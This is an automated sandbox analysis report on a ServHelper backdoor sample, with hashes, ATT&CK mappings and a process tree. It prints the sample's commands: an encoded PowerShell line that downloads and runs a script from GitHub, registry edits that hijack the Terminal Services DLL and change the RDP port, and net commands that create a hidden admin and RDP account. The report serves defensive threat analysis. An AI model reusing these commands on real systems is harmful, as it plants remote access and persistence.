servhelper | 1826d874e7b2798a9c7e12af91f4ab3466c798ca7c26b6a1ac76bbdfc221cb1f

Analysis

max time kernel
139s
max time network
122s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
15-07-2024 05:02

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General

Target

4854d8c74fcf1aeb5138075a5b029f91_JaffaCakes118.exe
Size

5.7MB
MD5

4854d8c74fcf1aeb5138075a5b029f91
SHA1

375a02de564add94066335e4daa8e7233f0b4c05
SHA256

1826d874e7b2798a9c7e12af91f4ab3466c798ca7c26b6a1ac76bbdfc221cb1f
SHA512

1e47dd787053bf2963b8760d93daffbe9f285f8d60a6264ca6f90cd9dad5701cdc4f8c44461dcc15105b9b8a23cdc83dea985df7611e3a9451a4c4cce41c959a
SSDEEP

49152:UsAnsrrb/T/vO90dL3BmAFd4A64nsfJ13Dd95+bC+dTfixrrAq/n55SyZuKnyed7:UsPQzdtmAQQQQQQQQQQQQQ

Score

10^/10

servhelper backdoor discovery execution exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

5 2612 powershell.exe
6 2612 powershell.exe
Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001
Possible privilege escalation attempt 8 IoCs
exploit

Processes:

icacls.exeicacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid process

2032 icacls.exe
1288 icacls.exe
1108 icacls.exe
2800 takeown.exe
2944 icacls.exe
2808 icacls.exe
2376 icacls.exe
1940 icacls.exe

flow	pid	process
5	2612	powershell.exe
6	2612	powershell.exe

pid	process
2032	icacls.exe
1288	icacls.exe
1108	icacls.exe
2800	takeown.exe
2944	icacls.exe
2808	icacls.exe
2376	icacls.exe
1940	icacls.exe

Server Software Component: Terminal Services DLL 1 TTPs 1 IoCs

persistence

Terminal Services DLL

T1505.005

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\TermService\Parameters\ServiceDLL = "C:\\Windows\\branding\\mediasrv.png"	reg.exe

Loads dropped DLL 2 IoCs

Processes:

pid process

1408
1408
Modifies file permissions 1 TTPs 8 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid process

1288 icacls.exe
1108 icacls.exe
2800 takeown.exe
2944 icacls.exe
2808 icacls.exe
2376 icacls.exe
1940 icacls.exe
2032 icacls.exe

pid	process
1408
1408

pid	process
1288	icacls.exe
1108	icacls.exe
2800	takeown.exe
2944	icacls.exe
2808	icacls.exe
2376	icacls.exe
1940	icacls.exe
2032	icacls.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
\Windows\Branding\mediasrv.png	upx
\Windows\Branding\mediasvc.png	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

4 raw.githubusercontent.com
5 raw.githubusercontent.com
6 raw.githubusercontent.com
Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Windows\system32\rfxvmt.dll powershell.exe

flow	ioc
4	raw.githubusercontent.com
5	raw.githubusercontent.com
6	raw.githubusercontent.com

description	ioc	process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 9 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\BFXFG9P4LI6AKU3V6W1R.temp	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid process

2612 powershell.exe
1452 powershell.exe
2572 powershell.exe
2712 powershell.exe
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

1996 WMIC.exe

pid	process
2612	powershell.exe
1452	powershell.exe
2572	powershell.exe
2712	powershell.exe

pid	process
1996	WMIC.exe

Modifies data under HKEY_USERS 4 IoCs

Processes:

WMIC.exeWMIC.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 3091264674d6da01	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

296 reg.exe
Runs net.exe

pid	process
296	reg.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
2212	powershell.exe
1452	powershell.exe
2572	powershell.exe
2712	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2612	powershell.exe

Suspicious behavior: LoadsDriver 6 IoCs

Processes:

pid process

472
1408
1408
1408
1408
1408

pid	process
472
1408
1408
1408
1408
1408

Suspicious use of AdjustPrivilegeToken 18 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exeicacls.exeWMIC.exeWMIC.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2212	powershell.exe
Token: SeDebugPrivilege	1452	powershell.exe
Token: SeDebugPrivilege	2572	powershell.exe
Token: SeDebugPrivilege	2712	powershell.exe
Token: SeRestorePrivilege	2808	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1996	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1996	WMIC.exe
Token: SeAuditPrivilege	1996	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1996	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1996	WMIC.exe
Token: SeAuditPrivilege	1996	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2892	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2892	WMIC.exe
Token: SeAuditPrivilege	2892	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2892	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2892	WMIC.exe
Token: SeAuditPrivilege	2892	WMIC.exe
Token: SeDebugPrivilege	2612	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

4854d8c74fcf1aeb5138075a5b029f91_JaffaCakes118.exepowershell.execsc.exenet.execmd.execmd.exe

description	pid	process	target process
PID 2812 wrote to memory of 2212	2812	4854d8c74fcf1aeb5138075a5b029f91_JaffaCakes118.exe	powershell.exe
PID 2812 wrote to memory of 2212	2812	4854d8c74fcf1aeb5138075a5b029f91_JaffaCakes118.exe	powershell.exe
PID 2812 wrote to memory of 2212	2812	4854d8c74fcf1aeb5138075a5b029f91_JaffaCakes118.exe	powershell.exe
PID 2212 wrote to memory of 1304	2212	powershell.exe	csc.exe
PID 2212 wrote to memory of 1304	2212	powershell.exe	csc.exe
PID 2212 wrote to memory of 1304	2212	powershell.exe	csc.exe
PID 1304 wrote to memory of 2676	1304	csc.exe	cvtres.exe
PID 1304 wrote to memory of 2676	1304	csc.exe	cvtres.exe
PID 1304 wrote to memory of 2676	1304	csc.exe	cvtres.exe
PID 2212 wrote to memory of 1452	2212	powershell.exe	powershell.exe
PID 2212 wrote to memory of 1452	2212	powershell.exe	powershell.exe
PID 2212 wrote to memory of 1452	2212	powershell.exe	powershell.exe
PID 2212 wrote to memory of 2572	2212	powershell.exe	powershell.exe
PID 2212 wrote to memory of 2572	2212	powershell.exe	powershell.exe
PID 2212 wrote to memory of 2572	2212	powershell.exe	powershell.exe
PID 2212 wrote to memory of 2712	2212	powershell.exe	powershell.exe
PID 2212 wrote to memory of 2712	2212	powershell.exe	powershell.exe
PID 2212 wrote to memory of 2712	2212	powershell.exe	powershell.exe
PID 2212 wrote to memory of 2800	2212	powershell.exe	takeown.exe
PID 2212 wrote to memory of 2800	2212	powershell.exe	takeown.exe
PID 2212 wrote to memory of 2800	2212	powershell.exe	takeown.exe
PID 2212 wrote to memory of 2944	2212	powershell.exe	icacls.exe
PID 2212 wrote to memory of 2944	2212	powershell.exe	icacls.exe
PID 2212 wrote to memory of 2944	2212	powershell.exe	icacls.exe
PID 2212 wrote to memory of 2808	2212	powershell.exe	icacls.exe
PID 2212 wrote to memory of 2808	2212	powershell.exe	icacls.exe
PID 2212 wrote to memory of 2808	2212	powershell.exe	icacls.exe
PID 2212 wrote to memory of 2376	2212	powershell.exe	icacls.exe
PID 2212 wrote to memory of 2376	2212	powershell.exe	icacls.exe
PID 2212 wrote to memory of 2376	2212	powershell.exe	icacls.exe
PID 2212 wrote to memory of 1940	2212	powershell.exe	icacls.exe
PID 2212 wrote to memory of 1940	2212	powershell.exe	icacls.exe
PID 2212 wrote to memory of 1940	2212	powershell.exe	icacls.exe
PID 2212 wrote to memory of 2032	2212	powershell.exe	icacls.exe
PID 2212 wrote to memory of 2032	2212	powershell.exe	icacls.exe
PID 2212 wrote to memory of 2032	2212	powershell.exe	icacls.exe
PID 2212 wrote to memory of 1288	2212	powershell.exe	icacls.exe
PID 2212 wrote to memory of 1288	2212	powershell.exe	icacls.exe
PID 2212 wrote to memory of 1288	2212	powershell.exe	icacls.exe
PID 2212 wrote to memory of 1108	2212	powershell.exe	icacls.exe
PID 2212 wrote to memory of 1108	2212	powershell.exe	icacls.exe
PID 2212 wrote to memory of 1108	2212	powershell.exe	icacls.exe
PID 2212 wrote to memory of 1448	2212	powershell.exe	reg.exe
PID 2212 wrote to memory of 1448	2212	powershell.exe	reg.exe
PID 2212 wrote to memory of 1448	2212	powershell.exe	reg.exe
PID 2212 wrote to memory of 296	2212	powershell.exe	reg.exe
PID 2212 wrote to memory of 296	2212	powershell.exe	reg.exe
PID 2212 wrote to memory of 296	2212	powershell.exe	reg.exe
PID 2212 wrote to memory of 2584	2212	powershell.exe	reg.exe
PID 2212 wrote to memory of 2584	2212	powershell.exe	reg.exe
PID 2212 wrote to memory of 2584	2212	powershell.exe	reg.exe
PID 2212 wrote to memory of 1660	2212	powershell.exe	net.exe
PID 2212 wrote to memory of 1660	2212	powershell.exe	net.exe
PID 2212 wrote to memory of 1660	2212	powershell.exe	net.exe
PID 1660 wrote to memory of 1640	1660	net.exe	net1.exe
PID 1660 wrote to memory of 1640	1660	net.exe	net1.exe
PID 1660 wrote to memory of 1640	1660	net.exe	net1.exe
PID 2212 wrote to memory of 2460	2212	powershell.exe	cmd.exe
PID 2212 wrote to memory of 2460	2212	powershell.exe	cmd.exe
PID 2212 wrote to memory of 2460	2212	powershell.exe	cmd.exe
PID 2460 wrote to memory of 2440	2460	cmd.exe	cmd.exe
PID 2460 wrote to memory of 2440	2460	cmd.exe	cmd.exe
PID 2460 wrote to memory of 2440	2460	cmd.exe	cmd.exe
PID 2440 wrote to memory of 2204	2440	cmd.exe	net.exe

C:\Users\Admin\AppData\Local\Temp\4854d8c74fcf1aeb5138075a5b029f91_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\4854d8c74fcf1aeb5138075a5b029f91_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2812
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2212
- - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\c1jbeaka.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1304
  - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9E72.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC9E71.tmp"
      4⤵
      PID:2676
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1452
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2572
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2712
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2800
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2944
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2808
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2376
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1940
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2032
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1288
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1108
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1448
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Server Software Component: Terminal Services DLL
    - Modifies registry key
    PID:296
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:2584
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1660
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1640
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2460
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2440
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:2204
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:2436
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:2476
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:1016
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:1044
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:2932
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:2148
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:2368

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:440
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:832
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:3056

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc DZS9GAvk /add
1⤵
PID:1340
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc DZS9GAvk /add
  2⤵
  PID:1784
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc DZS9GAvk /add
    3⤵
    PID:1756

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:2156
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:684
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:640

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" FMEDFXFE$ /ADD
1⤵
PID:568
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" FMEDFXFE$ /ADD
  2⤵
  PID:1944
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" FMEDFXFE$ /ADD
    3⤵
    PID:2400

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:2404
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:3024
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1952

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc DZS9GAvk
1⤵
PID:1872
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc DZS9GAvk
  2⤵
  PID:2056
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc DZS9GAvk
    3⤵
    PID:972

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1036
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1996

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1576
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2892

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:2964
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:2664
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Command and Scripting Interpreter: PowerShell
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2612

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Account Manipulation

T1098

Server Software Component

T1505

Terminal Services DLL

T1505.005

Privilege Escalation

Account Manipulation

T1098

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Remote Services

T1021

Remote Desktop Protocol

T1021.001

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\RES9E72.tmp

Filesize
1KB

MD5
a115bb5ebd68f736977ce77f6ec21692

SHA1
40a386bc55d088a3771eb110393afedf4f77330c

SHA256
77a94437be70483cfaa79241e0df2518b2d7af9a1471b757ae942e95f9271086

SHA512
75735f525ddc44488bcc7d1855d89dd7cbc31472c493d0b0e6602b2a94bf5ee0b6018713b3256883f08b9b82cd3d5c539cb8a9793be62574bc4ee28448197814

Download Submit
C:\Users\Admin\AppData\Local\Temp\c1jbeaka.dll

Filesize
3KB

MD5
2808fac1e53957df50a11289c5cbba8c

SHA1
4a50dbc016f5583fbff8c2314e951a86707a9707

SHA256
d68e75e2c6ef49aa6aa4ba9b7a8ae3e161afc75ca04ce8b4e7c0e08935100e3c

SHA512
93e56e9b9286f4cd6a49eaa102be09f5249990bf6e8e94018fba6423e3792513d454351d80a11ca7b02c3096ae5a7f4d1cf7f2406c5e2b0791496c22d6403b79

Download Submit
C:\Users\Admin\AppData\Local\Temp\c1jbeaka.pdb

Filesize
7KB

MD5
5dda9b91c3fe842b197703c6008dd817

SHA1
9bb88b22365498ff109f43acaf17eec6ed073e1c

SHA256
1d89660d857065784c8a2aa52b1e066b0119e13554f7c9453228892f21fe0457

SHA512
56875526cee7de993a10e98a9e5b10373289d2ec56b0599b07b9bb29100d57cc88cd5fb4dc8ab6302f5a9edb3df50015d11c9b73b7f0d1753d5f1b4915396ea9

Download Submit
C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1

Filesize
2.5MB

MD5
f49b7639c86923a9507b594feb5df523

SHA1
e3a058aa2ae06ee0d8e1c3d47d790181651744a1

SHA256
f92f29a5e41c25e32ad83a71e9e2a54c87f91c966cb90fdd3b1289bad824b021

SHA512
c68858888ea64affa95b3e51e3d3ef43d12e8628f5a09fdb5f33319f1cb5a23df9506a2dfb797445f77cf7120e79f9d0c9ddd25a567dab81cce0c3751903c804

Download Submit
C:\Users\Admin\AppData\Local\Temp\ready.ps1

Filesize
1KB

MD5
28d9755addec05c0b24cca50dfe3a92b

SHA1
7d3156f11c7a7fb60d29809caf93101de2681aa3

SHA256
abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9

SHA512
891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XR8HR9CZWW5G4CU5PNOI.temp

Filesize
7KB

MD5
b6634d241dac594590d6d56f72bdb8d9

SHA1
807be2ffa7f2a0f572f975f7bb6d97b48a6c395c

SHA256
d49416525d32376bbcbad79f2028ed909fd683b88cae9d2323f477100a668c08

SHA512
1edff30761ba554a446a0d98c8b94e1af932f3dc602c7cc9498b2d5c012479a80a6dbbd088bcde64b9914b86f052690e91352847372643d875d437a0d5bbafa7

Download Submit
C:\Windows\system32\rfxvmt.dll

Filesize
40KB

MD5
dc39d23e4c0e681fad7a3e1342a2843c

SHA1
58fd7d50c2dca464a128f5e0435d6f0515e62073

SHA256
6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

SHA512
5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

Download Submit
\??\PIPE\samr

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSC9E71.tmp

Filesize
652B

MD5
420ae49bf756bf0de65963ee31df5fe6

SHA1
00de2e178506bf68d5cf31fb9b41253eaffe3070

SHA256
b2060590f0b7323ab4186cc92e05d93154ba69face754c2c721356f013bdc929

SHA512
52b8c9490e071b5ba51dd4e808fe3cf3b4f7b344d7a2d7a0c6e9733f6b8c4de53dfa3ce0bcde98b7e00dd1602e2ea223d9050815917deb81a3be7489e2a52959

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\c1jbeaka.0.cs

Filesize
424B

MD5
9f8ab7eb0ab21443a2fe06dab341510e

SHA1
2b88b3116a79e48bab7114e18c9b9674e8a52165

SHA256
e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9

SHA512
53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\c1jbeaka.cmdline

Filesize
309B

MD5
2de720c6e23e6a8545e938d69f22f29c

SHA1
99f3cdb7692edde6bc0cf75871656d56a8794ac7

SHA256
b9dcf8994040416b10ef9b85558785b0609eddce31e538b52ff5633744e21c09

SHA512
b507ee5d48be1c8e48c9d76d2411eda9314096b8423ad02ffc07b233b7168d2b58ff0a59c3c07c1972c38786e93093d0a19dd92555ade13fb66c10e0637bc275

Download Submit
\Windows\Branding\mediasrv.png

Filesize
60KB

MD5
5410b592605e57a4a01c66b0a1f0d10d

SHA1
afa4acf032d537dd46e997891fc7f9bba9555679

SHA256
e39445c5f61c431be3b0ce753487e9a6439b5bfb813cf21116b77fb7d0696fa9

SHA512
